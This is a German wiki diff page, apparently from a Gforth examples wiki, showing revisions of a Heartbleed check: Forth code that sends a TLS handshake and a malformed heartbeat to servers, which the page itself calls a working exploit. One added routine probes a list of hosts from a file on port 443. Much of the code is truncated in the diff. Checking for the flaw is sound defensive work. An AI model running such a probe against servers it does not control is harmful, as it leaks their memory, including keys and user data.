examples:heartbleed
Unterschiede
Hier werden die Unterschiede zwischen zwei Versionen angezeigt.
Beide Seiten der vorigen RevisionVorhergehende ÜberarbeitungNächste Überarbeitung | Vorhergehende Überarbeitung | ||
examples:heartbleed [2014-04-11 17:39] – bernd | examples:heartbleed [2014-04-11 22:00] (aktuell) – bernd | ||
---|---|---|---|
Zeile 1: | Zeile 1: | ||
====== Heartbleed Check ====== | ====== Heartbleed Check ====== | ||
- | Im OpenSSL von Version 1.0.1 bis 1.0.1f (ohne g) war eine ernste Lücke, die hier mit einem kurzen Programm demonstiert wird (das ist ein funktionierender Exploit!). Verwenden mit einem neueren Gforth (snapshot), und dann mit | + | Im OpenSSL von Version 1.0.1 bis 1.0.1f (ohne g) war eine ernste Lücke, die hier mit einem kurzen Programm demonstiert wird (das ist ein funktionierender Exploit!). Verwenden mit einem neueren Gforth ([[http:// |
< | < | ||
Zeile 7: | Zeile 7: | ||
</ | </ | ||
- | starten. | + | starten. |
+ | |||
+ | < | ||
+ | cat < | ||
+ | </ | ||
+ | |||
+ | oder Gforth starten und dann | ||
+ | |||
+ | <code Forth> | ||
+ | require heartbleed.fs | ||
+ | s" < | ||
+ | </ | ||
+ | |||
+ | Was der Code macht, ist schnell erklärt: Er schickt zuerst ein " | ||
<code Forth> | <code Forth> | ||
Zeile 40: | Zeile 53: | ||
s" / | s" / | ||
random32 4 + 28 r@ read-file throw drop r> close-file throw ; | random32 4 + 28 r@ read-file throw drop r> close-file throw ; | ||
- | |||
- | Create pollfds pollfd %size allot | ||
Variable buggy? | Variable buggy? | ||
- | : get-heartbleed ( addr u port -- ) | + | : get-heartbleed ( addr u port -- ) >r 2dup r> buggy? off |
- | 1000000 set-socket-timeout | + | 1000000 set-socket-timeout |
- | | + | open-socket >r |
- | open-socket >r r@ fileno pollfds fd l! POLLIN pollfds events w! | + | |
TLS-header header# r@ write-socket | TLS-header header# r@ write-socket | ||
BEGIN r@ pad $10000 read-socket nip 0= UNTIL | BEGIN r@ pad $10000 read-socket nip 0= UNTIL | ||
TLS-heartbleed heartbleed# r@ write-socket | TLS-heartbleed heartbleed# r@ write-socket | ||
- | BEGIN r@ pad $10000 read-socket | + | BEGIN r@ pad $10000 read-socket |
+ | over c@ $18 = buggy? @ or \ heartbeet reply | ||
+ | over 0<> and | ||
+ | | ||
r> close-socket | r> close-socket | ||
- | buggy? @ IF ." Heartbleed | + | |
+ | |||
+ | Variable files | ||
+ | |||
+ | : file-heartbleed ( addr u -- ) | ||
+ | r/w open-file throw files $[]slurp | ||
+ | files [: 443 get-heartbleed ;] $[]map | ||
script? [IF] | script? [IF] |
examples/heartbleed.1397230799.txt.gz · Zuletzt geändert: 2014-04-11 17:39 von bernd